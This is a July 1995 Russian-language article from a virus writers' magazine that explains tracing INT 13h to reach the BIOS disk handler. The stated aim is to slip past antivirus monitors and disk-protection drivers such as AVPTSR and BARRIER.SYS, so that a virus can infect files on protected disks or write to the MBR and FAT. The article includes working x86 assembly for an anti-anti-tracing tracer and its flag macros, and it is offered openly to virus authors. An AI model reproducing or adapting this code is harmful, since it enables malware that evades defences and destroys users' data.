           ▄▄                  █
          ▀▀▀ Monthly Magazine █ For VirMakers.                  JULY '95
          ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  █▀▀▀▀▀▀█
           ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   █ ▐▀▀█ █
            █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     █   ▐▌ █
            █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  █   █  █
            ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  █▄▄▄▄▄▄█
           (C) STEALTH group WWide, Box 10, Kiev-148, fUcKRAINE 
 ─────────────────────────────────────────────────────────────────────────────
			Трассировка без преград.		(C) LovinGOD
 ─────────────────────────────────────────────────────────────────────────────

1. Если вы не хотите, чтобы в критический момент работы вируса случился облом,
 необходимо точно знать, к кому обращаться с передачей для MBR'а или с невин-
 ной просьбой протереть тряпочкой FAT.
 У юзеров INT 13h, если они знают, что это такое, вызывает священный трепет.
 В компьютере сидит божество, которое неведомым образом решает судьбу всех 
 данных на диске. Оно может начисто отформатировать винчестер, как угодно пе-
 реставить на диске кровати и прочую мебель и даже поменять или уволить весь
 контингент GIFовских шлюх.  А еще он постоянно пишет что-то (о ужас!) в 
 святая святых диска - FAT ! - то место, которое юзера, если знают, что это
 такое, обходят десятой дорожкой в DiskEditor'e. Божество это доброе, оно зна-
 ет Ассемблер и выполняет все, о чем Его не попросишь. Стереть FAT - пожалуй-
 ста, записаться в MBR - всегда готово! Но никто не может ни о чем его попро-
 сить лично, потому что ни Бейсика, ни Паскаля, ни Русского, ни Английского 
 оно не знает. А те, кого оно понимает - программисты Ассемблерные, - всегда
 что-то неугодное юзеру замышляют. Из страха юзера попортили небо звукоизоли-
 рующим воздухом, и не каждый сможет докричаться со своей просьбой к Всевыш-
 нему Повелителю Дисков. Зениток понаставили, чтобы не смог никто долететь,
 если на самолете флаг Trace, - сбивают или на землю садят. Но наш Stealth 
 бомбардировщик благополучно долетел и вернулся, о чем всем вам и докладывает.
 ─────────────────────────────────────────────────────────────────────────────
2.	Кроме беспрепятственного доступа к INT 13h есть еще одна причина для 
 трассировки.  DOS при чтении файлов обращается к INT 13h.
 Запускали ли вы когда-нибудь PU_DISK или BARRIER.SYS и прочую муму, то есть
 муру для защиты дисков? Не дают вирусу писать в файл ? То-то, INT 13h пере-
 хвачено ими. А у меня нет проблем- файлы на защищенном диске заражаются тихо,
 а стереть их потом оттуда - фиг! 
	Перед дисковой операцией с винтом установите INT 13h на BIOS.
 Откройте файл. Если не получилось,- видимо, какойто Долбоспейс стоит - поста-
 вьте вектор INT 13h назад и...будь что будет. После завершения работы с дис-
 ком верните вектор - все защиты снова живы и продолжают защищать, теперь уже
 наш мирный покой в зараженных файлах.
 ─────────────────────────────────────────────────────────────────────────────
3. Защиты от трассировки INT 13h и их беззащитность.

	INT13:		PUSHF
			POP AX
			TEST AH,1				; TF is ON!
			JNZ  GO_TO_HELL_YOU_FUCKIN_TRACER
	CONTINUE_INT13: ... ... ...

 Так делает AVPTSR, BARRIER.SYS, возможно, TBAVовские надзиратели и пр.дрм
 AVPTSR выводит красную менюшку : "Dangerous! Int 13 tracing!"
 BARRIER.SYS отсылает трассировщик на IRET, ... 
 
 А как делаем мы:  смотри ниже наш трассировщик.

       Комманде PUSHF подставляем флаги без Trace, - трассировки "нет",
	        POPF и IRET - подставляем в стек к флагам TF. И все молчат.

 Следующий виток защиты от трассировки - проверка "IRET" в начале обработчика
 INT 1, в ответ на это мы ... и так до бесконечности.

				До встречи с вашими новыми вирусами!
								LovinGOD.

4.────────────────────────────────────────────────────────────────────────────

TRACE13: 				   ; Установка трассировки
				           ; захватываем вектор без сохранения
	XOR AX,AX			
	MOV ES,AX

	CLT				   ; Clear Trace Flag  
					   ; Макросы см. в конце
					   
	MOV WORD PTR ES:[0004],TRACER13-START
	MOV ES:[0006],CS

	LES BX,DWORD PTR ES:[0013H*4]	   ; Адрес из таблицы
	MOV CS:[REAL13-START],BX	   
	MOV CS:[REAL13+2-START],ES	   
					   ; Если трассировка ничего не даст,
					   ; примем за оригинал табличное

	PUSHF				   ; Для CALL INT 13
	STT	 			   ; Тихо! Идет трассировка!

					   ; вызываем функцию INT 13h
	MOV  AH,08			   ; Допустим, получить параметры HD
	MOV  DL,80H			

CALL13:					   ; Вызов INT 13h
	DB 9Ah				   
REAL13	DW ?,?
					   ; Прерывание завершено. 

	MOV  BYTE PTR CS:[TRACER13-START],0CFH	; IRET в начало обработчика

	CLT				   ; Clear Trace Flag

					   	
	; Обработчик трассировки.
	; При достижении сегмента>=0F000h (BIOS) запоминает CS:IP в переменную
	; REAL13, снимает TF и ставит в начало себя "IRET".
	; Содержит обработку комманд PUSHF - заносит в стек флаги, исключив
	; TraceFlag; POPF,IRET - устанавливает флаг Trace.
	
TRACER13 PROC
	DB   90H				; Сюда будет записан код IRET
						; по достижению результата

	MOV  CS:[BPSAVE-START],BP		; сохраним регистры
	MOV  CS:[SISAVE_-START],SI
	MOV  CS:[DSSAVE-START],DS
	MOV  CS:[AXSAVE-START],AX
	POP  SI DS AX				; Все, необходимое для IRET
						; DS:SI=Адрес след. комманды
						;    AX=Flags
	PUSH AX					
	MOV  AX,DS				; Сегмент BIOS ?
	CMP  AH,0F0H
	POP  AX
	JB   NOTREAL		
						; Сегмент BIOS
						; Сохраняем адрес - это и есть
	MOV  CS:[REAL13-START],SI		; точка входа в INT 13h
	MOV  CS:[REAL13-START+2],DS		 

	AND  AH,0FEH				; снимает флаг трассировки
	MOV  BYTE PTR CS:[TRACER13-START],0CFH	; IRET в начало обработчика
	JMP  ALLBACK

     NOTREAL:					; BIOS не достигнут
	MOV BP,SP

	CMP BYTE PTR DS:[SI],@PUSHF		; следующая комманда - PUSHF
	JNE NXTT

	INC  SI					; IRET на комманду после PUSHF
	PUSH AX					; Сами делаем PUSHF
	AND BYTE PTR [BP-1],0FEH		; Чистим TF во "флагах"

     ALLBACK:					; выход
	PUSH AX DS SI				; набор для IRET - в стек
        SISAVE_ EQU $+1    			; восстанавливаем регистры
	MOV  SI,0000
	DSSAVE  EQU $+1
	MOV  AX,0000
	MOV  DS,AX
	AXSAVE  EQU $+1
	MOV  AX,0000
	BPSAVE  EQU $+1
	MOV  BP,0000				
	IRET					

     NXTT:					
	CMP BYTE PTR DS:[SI],@POPF		
	JNE NXTT2
						; след. комманда - POPF
	OR WORD PTR [BP],0100H			; Устанавливаем TF
	JMP ALLBACK

     NXTT2:
	CMP BYTE PTR DS:[SI],@IRET
	JNE ALLBACK
						; след. комманда - IRET 
	OR WORD PTR [BP+04],0100H		; Устанавливаем TF во флагах
	JMP ALLBACK	

TRACER13 ENDP
 ──────────────────────────────────────────────────────────────────────────────
5. Макросы и константы:

	CLT MACRO 		;  - очищает TF
		push ax
		pushf
		pop ax
		and ah,0feh
		push ax
		popf
		pop ax
		ENDM

	STT MACRO   		;  - устанавливает TF

		push ax
		pushf
		pop ax
		or ah,1
		push ax
		popf
		pop ax
		ENDM





  ─────────────────────────────────────────────────────────────────────────
  ──────────────── Remember Where You Saw This Phile First ────────────────
  ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
  ─────────────────────────────────────────────────────────────────────────
